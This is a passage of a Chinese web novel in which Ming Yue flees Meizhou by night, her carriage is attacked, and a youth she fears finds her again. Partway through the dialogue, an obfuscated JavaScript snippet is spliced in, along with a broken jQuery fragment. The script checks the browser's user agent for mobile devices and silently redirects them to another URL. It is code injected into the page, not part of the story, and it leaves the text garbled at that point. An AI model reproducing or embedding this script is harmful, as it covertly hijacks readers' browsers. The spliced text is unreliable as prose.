她记得在包厢门外,少年蹲下身掐紧她脖颈那个眼神。 只是一个简单的动作,她就像全身都被锁住了般,动弹不得半分。 她在他身上看到了无穷无尽的杀意,笼罩住她全部身心。 她只能忍住全身的颤抖,用醉酒来换得一线生机。 那一刻,明越像是正在死亡尽头挣扎搏斗。 常伯伯不明所以地追问:“到底怎么了?难不成你在上清冢楼刚好碰到卞清痕了?” 现在卞清痕还算什么,她遇到的可是…… 明越停下手边的动作,郑重其事对常伯伯道:“常伯伯,你快收拾东西,我们今晚连夜赶路离开眉州,越快越好。” 常伯伯虽然还不甚知情,但也没再多问,飞快去了自己的厢房。 明越彻底瘫坐在地上。 过了这么久,她心底的恐惧还是没有一分削减。 缓了几息后,明越正打算一鼓作气收拾好包袱,忽而传来阵阵敲门声。 常伯伯进门前一般只会敲一下,而且会立刻喊她“小女娃”,这会儿敲门的明显另有他人。 明越将包袱塞进床底,翻身上床,用半梦半醒的声音应了句:“吵死了,谁啊?” “是我。” 两个字伴随着熟悉的嗓音,如惊雷落地,明越心头狠狠一震。 “你又是谁啊?” 是她一贯的不讲道理还带点醉后迷迷糊糊的声音。 徐吟寒本想直接推门而入,靠近门的手指又蜷了回去。 “没什么,我还以为你已经睡了。” “我睡了啊……难道我没睡着吗……” “是吗,” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15040534|162502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徐吟寒勾了勾唇,“那你晚上可别做噩梦了。” 等门外再无动静,明越火急火燎地继续收拾起包袱来。 两人在厢房里抱着包袱一晚没睡,硬是熬到次日清晨。 因怕被徐吟寒他们察觉出不对劲来,明越和常伯伯特意在客栈早上接待客人时趁乱溜出去。 秋水客栈附近恰好有一车马行,还有专门的车夫送他们到十里外。 马车一路畅通无阻出了眉州地界,径直驶向远处层层叠叠的不知名群山。 与此同时,日升月降,天光大亮。 感受到温暖的日光从菱格窗漫进来,明越紧张的心才稍稍放松下去。 即使天上仍然飘着鹅毛大雪,明越也没有了分毫冷意。 毕竟比起随时都能要人命的八方幕主公,这些雪粒当真无害又纯净。 常伯伯与她坐在同一辆马车里,从昨晚到现在都在等她的一个解释。 明越正准备娓娓道来,忽而马车猛地摇摆起来,明越猝不及防向前倒去,被常伯伯及时搀住。 “这是怎么了?” 两匹骏马嘶鸣不止,一片混乱中,车夫慌乱无措地逃下车,高呼:“有山匪!有刺客!” 山匪?刺客?怎么可能会截她一辆小小的马车! 常伯伯拉开纱帘警惕打量着外面,并未见到任何匪徒的影子。 “可能只是马受惊了。” 常伯伯这样说着,还是下了马车和车夫一起检查马匹的问题。 果不其然,在一匹马的马蹄下发现了一根尖利的树枝。 “这匹马得放走,只用一匹马拉车也可以。” 常伯伯跟车夫商讨着,从车窗探头对明越道,“小女娃,你先下来,等车夫鼓捣好咱们再出发,别急,不耽误事。” 说罢,他便伸出手来准备搀住明越。 然明越拂开帷裳,还未起身踏出一步,她瞥见一道冷光直指她眉心刺来。 她忙倒向马车内壁,稍一偏头躲了过去。 寒风凛冽,拂开她鬓边两缕乌发,在与她毫厘之差的地方振出如雷贯耳的声响。 她余光能看到刚才袭击她的物什,是一柄长菱形的短刃,刃柄上悬挂着一条圆形的朱红流苏穗子。 只不过离她太近,化作了捉摸不定的虚影。 她的脊背紧贴着马车内壁,清晰地听见自己的心跳空了一拍。 可能是因为太大声,连马车外常伯伯和车夫的呼喊声都听不到,也没发觉此刻野马脱缰,她所在的马车已经不受控制,颠簸着向密林里冲去。 而此时车外传来了轻快的脚步声,紧接着,马车帷裳被一只骨节分明的手掀开。 迎着万道乍泄的天光,明越一点一点辨清那人干练如松的身形,看见他被光晕勾勒出形状的脸庞,逐渐睁大了眼。 “又见面了,明大小姐。” “可真是……” 少年明亮的双眸弯作两轮弦月,清朗低靡的声音被风带着,在她耳畔振聋发聩。 “让我好找啊。”